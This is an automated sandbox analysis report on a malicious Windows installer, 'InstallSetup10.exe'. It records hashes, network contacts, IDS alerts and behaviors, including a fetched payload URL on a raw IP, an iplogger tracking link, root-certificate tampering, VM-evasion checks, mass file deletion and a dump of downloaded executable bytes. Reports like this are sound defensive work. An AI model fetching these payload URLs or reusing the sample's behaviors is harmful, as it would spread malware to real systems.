Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Jan. 13, 2024, 7:15 p.m.	Jan. 13, 2024, 7:24 p.m.

Size	2.4MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5	`d5610fe6893c1bb0df7b32471f878839`
SHA256	`1be268eaff61a1b16c5707f42075e1ee1af7a8f746ee458869c977fba0f2b28d`
CRC32	`630372A4`
ssdeep	`49152:v82s5FXQ4EmojLjCRELVf7Avil+dHIsLp1thIikN+6u2hsh:vEzX71oDCRAZUviAHImDqia7hsh`
Yara	Malicious_Library_Zero - Malicious_Library IsPE32 - (no description) PE_Header_Zero - PE File Signature NSIS_Installer - Null Soft Installer UPX_Zero - UPX packed file

InstallSetup10.exe "C:\Users\test22\AppData\Local\Temp\InstallSetup10.exe"
940
- BroomSetup.exe C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
  2132

Name	Response	Post-Analysis Lookup
iplogger.com	A 172.67.188.178 A 104.21.76.57	104.21.76.57
api.ipify.org	A 64.185.227.156 CNAME api4.ipify.org A 173.231.16.76 A 104.237.62.212	173.231.16.76

IP Address	Status	Action
104.21.76.57	Active	Moloch
164.124.101.2	Active	Moloch
173.231.16.76	Active	Moloch
185.172.128.53	Active	Moloch
91.92.255.226	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2047702	ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup	Misc activity
UDP 192.168.56.103:52760 -> 8.8.8.8:53	2047702	ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup	Misc activity
TCP 192.168.56.103:49165 -> 173.231.16.76:80	2029622	ET POLICY External IP Lookup (ipify .org)	Potential Corporate Privacy Violation
TCP 192.168.56.103:49165 -> 173.231.16.76:80	2011227	ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))	Potentially Bad Traffic
UDP 192.168.56.103:50800 -> 164.124.101.2:53	2047719	ET INFO External IP Lookup Domain (iplogger .com in DNS lookup)	Device Retrieving External IP Address Detected
TCP 192.168.56.103:49170 -> 185.172.128.53:80	2011227	ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))	Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 185.172.128.53:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 185.172.128.53:80 -> 192.168.56.103:49170	2014819	ET INFO Packed Executable Download	Misc activity
TCP 185.172.128.53:80 -> 192.168.56.103:49170	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 185.172.128.53:80 -> 192.168.56.103:49170	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49526 -> 104.21.76.57:443	2047718	ET INFO External IP Lookup Domain (iplogger .com in TLS SNI)	Device Retrieving External IP Address Detected
TCP 192.168.56.103:49526 -> 104.21.76.57:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49526 104.21.76.57:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=iplogger.com	58:f1:b8:44:37:6f:27:f8:01:6a:79:0e:7e:47:5b:b5:88:ec:1d:cc

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 13, 2024, 7:15 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.ndata

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://185.172.128.53/syncUpd.exe

Performs some HTTP requests (3 events)

request	GET http://api.ipify.org/?format=fgf
request	GET http://185.172.128.53/syncUpd.exe
request	GET https://iplogger.com/1zteH4

Allocates read-write-execute memory (usually to unpack itself) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Jan. 13, 2024, 7:15 p.m.	process_identifier: 2132 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00970000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0	0

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (8 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceExW Jan. 13, 2024, 7:15 p.m.	total_number_of_free_bytes: 9927962624 free_bytes_available: 9927962624 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:15 p.m.	total_number_of_free_bytes: 9933033472 free_bytes_available: 9933033472 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:15 p.m.	total_number_of_free_bytes: 10020024320 free_bytes_available: 10020024320 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:15 p.m.	total_number_of_free_bytes: 10020024320 free_bytes_available: 10020024320 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:16 p.m.	total_number_of_free_bytes: 10020052992 free_bytes_available: 10020052992 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:16 p.m.	total_number_of_free_bytes: 10023243776 free_bytes_available: 10023243776 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:16 p.m.	total_number_of_free_bytes: 10023243776 free_bytes_available: 10023243776 root_path: C: total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Jan. 13, 2024, 7:16 p.m.	total_number_of_free_bytes: 10023243776 free_bytes_available: 10023243776 root_path: C: total_number_of_bytes: 34252779520	1	1

Looks up the external IP address (1 event)

domain

api.ipify.org

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp\INetC.dll
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp\Math.dll

Drops an executable to the user AppData folder (14 events)

file	C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
file	C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\syncUpd[1].exe
file	C:\Users\test22\AppData\Local\Temp\202005191702_6d173b9549ce4fe1e5ada5ab9ce0bfff5d9569f19e7fa916db5c8d4f0dace63b_setup_nwc275a_demo.exe
file	C:\Users\test22\AppData\Local\Temp\Setup00000994\OSETUPUI.DLL
file	C:\Users\test22\AppData\Local\Temp\InstallSetup10.exe
file	C:\Users\test22\AppData\Local\Temp\Setup00000994\OSETUP.DLL
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp\Math.dll
file	C:\Users\test22\AppData\Local\Temp\Setup000023ac\OSETUP.DLL
file	C:\Users\test22\AppData\Local\Temp\Setup000023ac\ose00000.exe
file	C:\Users\test22\AppData\Local\Temp\nsh1DB2.tmp
file	C:\Users\test22\AppData\Local\Temp\Setup00000994\ose00000.exe
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp\INetC.dll
file	C:\Users\test22\AppData\Local\Temp\Setup000023ac\OSETUPUI.DLL

An executable file was downloaded by the process installsetup10.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile Jan. 13, 2024, 7:15 p.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $DÝ~²¼á¼á¼áîá¼áîáO¼áîá%¼á'zká ¼á¼á[¼áîá¼áîá¼áîá¼áRich¼áPEL!îcà bý( @à"g\|Öd xÐ`É \|.textï `.rdataB? @@@.data,àÊ@À.tlsÍ Ú@À.rsrcx° Òä@@VD$PñèÇ¼¡BÆ^ÂÌÌÌÌÌÌÌÇ¼¡Bé¡ÌÌÌÌÌVñÇ¼¡BèöD$t VèåÄÆ^ÂÌÌÌÌÌÌÌÌÌÌÌÌD$QRT$QRèÄÄÃÌÌÌÌÌD$QRT$QRè7ÄÃÌÌÌÌÌff ÃÌÌÌÌÌÌÌÌÌPfÀfÉuõ+ÂÑøÃÌÌÌÌÌÌÌÌÌÌÌÌÌVñ3ÉÇFÇFfNÈWyIfÁfÒuõ+ÏÑùQèÛ_Æ^ÃÌÌÌÌÌÌ~rFPèÄ3ÉÇFÇFfNÃÌÌÌÌÌÌÌÌÌÈVqfÁfÒuõ+Ît$ÑùQè^ÂÌÌÌÌÌÌÌÌÌÌÌÌÌ\|$tr$GSöv6QSjPè§ÄSèÄ[3ÒÇGwfTwÂÌÌÌÌÌÌÌÌÌÌÌÂÌÌÌÌÌÌÌÌÌÌÌÌÌÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌSØWÛtIVFúrëÈ;Ùr4úrëÈ~y;ËvúrT$+ØRÑûSÆÎè_[ÂUl$ýÆè1Àt6N~ùrëÇíUSÉQPèÚT$ Ä~Vr?3Àf/]_Æ[ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ3ÒxHr@fHÃfTHÃÌÌÌÌÌÌÌPèzYÃÌÌÌÌÌÌÌÌSUl$VØWñ9ksèµ {D$+ý;Çsø;óu/ÈÿèÅ3Ûè_Æ^][ÂÆècÀtL{rKëK~nrEëÅT$Q?SQN RPèóÄ~~rm3Àf+_Æ^][ÂÌÌÌÌÌÌÌÌÌÌVðÿþÿÿvè¿F;ÇsFPWVè.3Ò;×À÷Ø^Ãÿu"~ørv3É3Ò;×Àf÷Ø^ÃÆ3Éf3Ò;×À÷Ø^ÃÌÌÌÌVÿtrBþrëÈ;ùrþrJH;×v°^Ã2À^ÃÌÌÌÌÌÌÌÌÌÌÌÌÌìWø9^sèk F+Ã;ÇsøÿviNUnùr UT$ël$ùr UT$ël$T$+ÇÀP;B+ËPÉQL$YRèRF+ÇÄ~Frm3ÉfLE]Æ_ÄÃÌ@ÃÌÌÌÌÌÌÌÌÌÌÌÌ¸þÿÿÃÌÌÌÌÌÌÌÌÌÌUìjÿhÀBd¡PìSVW¡áB3ÅPEôd£eðE}ðÎþþÿÿvðë"_¸«ªªª÷æËÑéÑê;Ñs¸þÿÿ+Á;Øw43ÛN]ü;Ëw3É PèoÄØëWÈÿ3Ò÷ñøsäMìQMÜ]ìèGhàÕBUÜRÇEÜ¼¡Bè)EHeðEÆEüèùEè¸@Ã}u]èMÉv#rGëGÉQPT6RSè~MÄrGPè^MÄG3ÒwOþrÃ3ÒfHMôd Y_^[å]Âu~rFPèÄ3ÉQÇFÇFQfNèeÌÌÌÌÌÌÌÌÌÌxr@ÃÀÃÌÌ¸ÿÿÿÃÌÌÌÌÌÌÌÌÌÌD$QRQVèÈÄÆÃÌÌÌÌÌÌÌìÉw3É RèÄÄÃÈÿ3Ò÷ñøsä$PL$ÇD$èê hàÕBL$QÇD$¼¡BèÊÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌD$VPñè' Ç¼¡BÆ^ÂÌÌÌÌÌÌÌQD$YÃÌÌÌÌÌÌÌÌÌD$QRQVè«ÄÆÃÌÿ% Bÿ%t Bÿ%x Bÿ%@ Bÿ% Bÿ% Bÿ% Bÿ% Bÿ% Bÿ%$ Bÿ%( Bÿ%, Bÿ%0 Bÿ%4 Bÿ%8 Bÿ%< Bÿ%\| Bÿ%D Bÿ%H Bÿ%L Bÿ%P Bÿ%T Bÿ%X Bÿ%\ Bÿ%` Bÿ%d Bÿ%h Bÿ%t¡Bÿ% Bÿ% BÿUìEM]ÃÿUì]éÿUìÿuÿuÿuÿuè+ EÄ]ÃÿUìÿuÿuÿuÿuè EÄ]ÃAÃÿUìÿuèéY]ÂÿUì}Vt+qAþrëÐ9UrþrIÈ;Mv°ë2À^]ÂÈÿÃÿUìMìÉw3ÉQèYÉÃÈÿ3Ò÷ñøsëjMôèB÷ÿÿhàÕBEôPèÏÌÿUìQEÿÉÃÿUìÿuÿuÿuÿuèÿÿÿÄ]ÃÿUìÿuÿuÿuÿuèÿÿÿÄ]ÃÁÂÿUìyEArIëÁÆ]ÂjþXÃÿUìjÿuèGÿÿÿYY]ÂÿUìQÿuüÿuÿuÿuÿuèqÿÿÿÄÉÃÿUìQÿuüÿuÿuÿuÿuèmÿÿÿÄÉÃÿUì}Vñt)~r#}FW8vÿuWjPèÿÿÿÄWèpY_ÿuÎÇFè@ÿÿÿ^]Âj¸@Bè;ù}èuÎþþvuë%3ÒjÆ[÷óOMìÑmìUì;ÂsjþX+Â;Èw4 eüFPÏèÿÿÿØë)EMèE@eðPÆEüèðþÿÿEì¸Q@Ã}èu]ì}vrGëGÿuPFPSèÑþÿÿÄjjÏèÿÿÿÿuÏ_wèyþÿÿè%ÂMè3öVjèÜþÿÿVVèåÌjjèËþÿÿÃj¸Bèñuðè¼ÿueüNÇÈ¡BèÆèÑÂyrAÃAÃy$rAÃAÃÿVñjjNÇÈ¡BèbþÿÿÎ^éÿUìVñèÔÿÿÿöEtVèæ YÆ^]ÂÿUìVÿuñè_ÿÿÿÇÔ¡BÆ^]ÂÇÔ¡BéÿÿÿÿUìVñÇÔ¡BèÿÿÿöEtVè YÆ^]ÂÿUìVÿuñèÿÿÿÇà¡BÆ^]ÂÇà¡BéIÿÿÿÿUìVñÇà¡Bè6ÿÿÿöEtVèH YÆ^]ÂÿUìVÿuñèÁþÿÿ request_handle: 0x00cc000c	1	1	0

Communicates with host for which no DNS query was performed (2 events)

host	185.172.128.53
host	91.92.255.226

Attempts to identify installed AV products by installation directory (1 event)

file	C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe

Deletes executed files from disk (1 event)

file	C:\Users\test22\AppData\Local\Temp\BroomSetup.exe

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Drops 156 unknown file mime types indicative of ransomware writing encrypted files back to disk (50 out of 156 events)

file	C:\Windows\Prefetch\PYTHON.EXE-C663CFDC.pf
file	C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-305B5E54.pf
file	C:\Windows\Prefetch\AUDIODG.EXE-BDFD3029.pf
file	C:\Windows\Prefetch\THUNDERBIRD.EXE-A0DA674F.pf
file	C:\Windows\Prefetch\DLLHOST.EXE-4F28A26F.pf
file	c:\Windows\Temp\fwtsqmfile01.sqm
file	C:\Windows\Prefetch\SVCHOST.EXE-7AC6742A.pf
file	C:\Windows\Prefetch\GOOGLEUPDATE.EXE-D0E66F4A.pf
file	C:\Windows\Prefetch\86.0.4240.111_CHROME_INSTALLE-AF26656A.pf
file	C:\Windows\Prefetch\CSC.EXE-BE9AC2DF.pf
file	c:\Windows\Temp\fwtsqmfile00.sqm
file	C:\Windows\Prefetch\MOBSYNC.EXE-C5E2284F.pf
file	C:\Windows\Prefetch\SOFTWARE_REPORTER_TOOL.EXE-EB18F4FF.pf
file	C:\Users\test22\AppData\Local\Temp\~DF8C0F100C7231519A.TMP
file	C:\Windows\Prefetch\IEXPLORE.EXE-908C99F8.pf
file	C:\Windows\Prefetch\DLLHOST.EXE-5E46FA0D.pf
file	C:\Windows\Prefetch\SLUI.EXE-724E99D9.pf
file	C:\Windows\Prefetch\RUNDLL32.EXE-1304AE86.pf
file	C:\Windows\Prefetch\PING.EXE-7E94E73E.pf
file	C:\Windows\Prefetch\PW.EXE-1D40DDAD.pf
file	C:\Windows\Prefetch\GOOGLEUPDATE.EXE-C3A1B497.pf
file	C:\Windows\Prefetch\IEXPLORE.EXE-4B6C9213.pf
file	C:\Windows\Prefetch\WMIPRVSE.EXE-1628051C.pf
file	C:\Windows\Prefetch\DEFRAG.EXE-588F90AD.pf
file	C:\Windows\Prefetch\CHROME.EXE-D999B1BA.pf
file	C:\Windows\Prefetch\IMKRMIG.EXE-AAA206C5.pf
file	C:\Windows\Prefetch\UNPACK200.EXE-E4DF1A4E.pf
file	C:\Windows\Prefetch\DLLHOST.EXE-40DD444D.pf
file	C:\Windows\Prefetch\7ZFM.EXE-22E64FB8.pf
file	C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-B0D5C571.pf
file	C:\Windows\Prefetch\GOOGLEUPDATESETUP.EXE-34B7EAE8.pf
file	C:\Windows\Prefetch\SVCHOST.EXE-E1E0ACE0.pf
file	C:\Windows\Prefetch\LOGONUI.EXE-09140401.pf
file	C:\Windows\Prefetch\AgGlFgAppHistory.db
file	C:\Windows\Prefetch\JAVAW.EXE-D0AA8787.pf
file	C:\Windows\Prefetch\SSVAGENT.EXE-0CD059B7.pf
file	C:\Windows\Prefetch\AgGlUAD_P_S-1-5-21-3832866432-4053218753-3017428901-1001.db
file	C:\Windows\Prefetch\OSE.EXE-2B23CA4C.pf
file	C:\Windows\Prefetch\INSTALLER.EXE-60163557.pf
file	C:\Windows\Prefetch\PINGSENDER.EXE-8E79128B.pf
file	C:\Windows\Prefetch\RUNDLL32.EXE-5A853E81.pf
file	C:\Windows\Prefetch\AgRobust.db
file	C:\Windows\Prefetch\ICACLS.EXE-B19DE1F7.pf
file	C:\Windows\Prefetch\IMEKLMG.EXE-3FEB7CC0.pf
file	C:\Windows\Prefetch\GOOGLEUPDATECOMREGISTERSHELL6-BB6760AF.pf
file	C:\Windows\Prefetch\NOTEPAD.EXE-D8414F97.pf
file	C:\Windows\Prefetch\7ZG.EXE-0F8C4081.pf
file	C:\Windows\Prefetch\CMD.EXE-AC113AA8.pf
file	C:\Windows\Prefetch\AgGlGlobalHistory.db
file	C:\Windows\Prefetch\ReadyBoot\Trace4.fx

Deletes a large number of files from the system indicative of ransomware, wiper malware or system destruction (50 out of 440 events)

file	C:\Users\test22\AppData\Local\Temp\nsiC56F.tmp
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp\Math.dll
file	C:\Users\test22\AppData\Local\Temp\nsiC570.tmp\INetC.dll
file	C:\Users\test22\AppData\Local\Temp\nscC416.tmp
file	C:\Users\test22\AppData\Local\Temp\SetupExe(20200504224110B04).log
file	C:\Windows\Prefetch\SNIPPINGTOOL.EXE-EFFDAFDE.pf
file	C:\Windows\Prefetch\IMEKLMG.EXE-3FEB7CC0.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\1F4WQUHZ\dropbox_logo_text_2015-vfld7_dJ8[1].svg
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\override[1].css
file	C:\Windows\Prefetch\SVCHOST.EXE-7AC6742A.pf
file	C:\Windows\Prefetch\SVCHOST.EXE-80F4A784.pf
file	C:\Users\test22\AppData\Local\Temp\nsh1DB2.tmp
file	C:\Users\test22\AppData\Local\Temp\dd_vcredist_amd64_20180201144548_000_vcRuntimeMinimum_x64.log
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\desktop.ini
file	C:\Users\test22\AppData\Local\Temp\{E7573238-1B24-467B-B5A4-0BE967E0BF64}.tmp
file	C:\Windows\Prefetch\CONTROL.EXE-817F8F1D.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\U06NAGU2\mnrstrtr[1].js
file	C:\Windows\Prefetch\MSCORSVW.EXE-90526FAC.pf
file	C:\Users\test22\AppData\Local\Temp\IME2010imeklmg00000026.log
file	C:\Windows\Prefetch\RUNDLL32.EXE-5A853E81.pf
file	C:\Windows\Prefetch\CVTRES.EXE-2B9D810D.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\SOC-Facebook[1].png
file	C:\Windows\Prefetch\RUNDLL32.EXE-8C11D845.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\f[2].txt
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\keys_js5[2].htm
file	C:\Windows\Prefetch\WERMGR.EXE-0F2AC88C.pf
file	C:\Windows\Prefetch\SVCHOST.EXE-E1E0ACE0.pf
file	C:\Windows\Prefetch\RUNDLL32.EXE-4366A668.pf
file	C:\Windows\Prefetch\RUNDLL32.EXE-87432CEE.pf
file	C:\Windows\Prefetch\AgGlUAD_P_S-1-5-21-3832866432-4053218753-3017428901-1001.db
file	C:\Windows\Prefetch\AgAppLaunch.db
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\syncUpd[1].exe
file	C:\Users\test22\AppData\Local\Temp\SetupExe(20180405152131B24).log
file	c:\Windows\Temp\TS_7FC6.tmp
file	C:\Windows\Prefetch\IEXPLORE.EXE-908C99F8.pf
file	C:\Windows\Prefetch\GOOGLEUPDATE.EXE-C3A1B497.pf
file	C:\Windows\Prefetch\RUNDLL32.EXE-1304AE86.pf
file	C:\Windows\Prefetch\AUDIODG.EXE-BDFD3029.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\AdPostInjectAsync[1].nhn
file	C:\Windows\Prefetch\AgGlGlobalHistory.db
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTDTA402\ipsec[4].htm
file	C:\Windows\Prefetch\DEFRAG.EXE-588F90AD.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\invalidcert[1]
file	C:\Windows\Prefetch\DLLHOST.EXE-97F6A314.pf
file	C:\Users\test22\AppData\Local\Temp\UserInfoSetup(201804051522349E8).log
file	c:\Windows\Temp\TS_88E1.tmp
file	C:\Users\test22\AppData\Local\Temp\RD25B7.tmp
file	C:\Windows\Prefetch\JAVAWS.EXE-FE17358E.pf
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\TopNav[1].js

Detects VirtualBox through the presence of a file (1 event)

file	C:\Windows\Prefetch\VBOXDRVINST.EXE-7DCD6070.pf

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

91.92.255.226:80

InstallSetup10.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All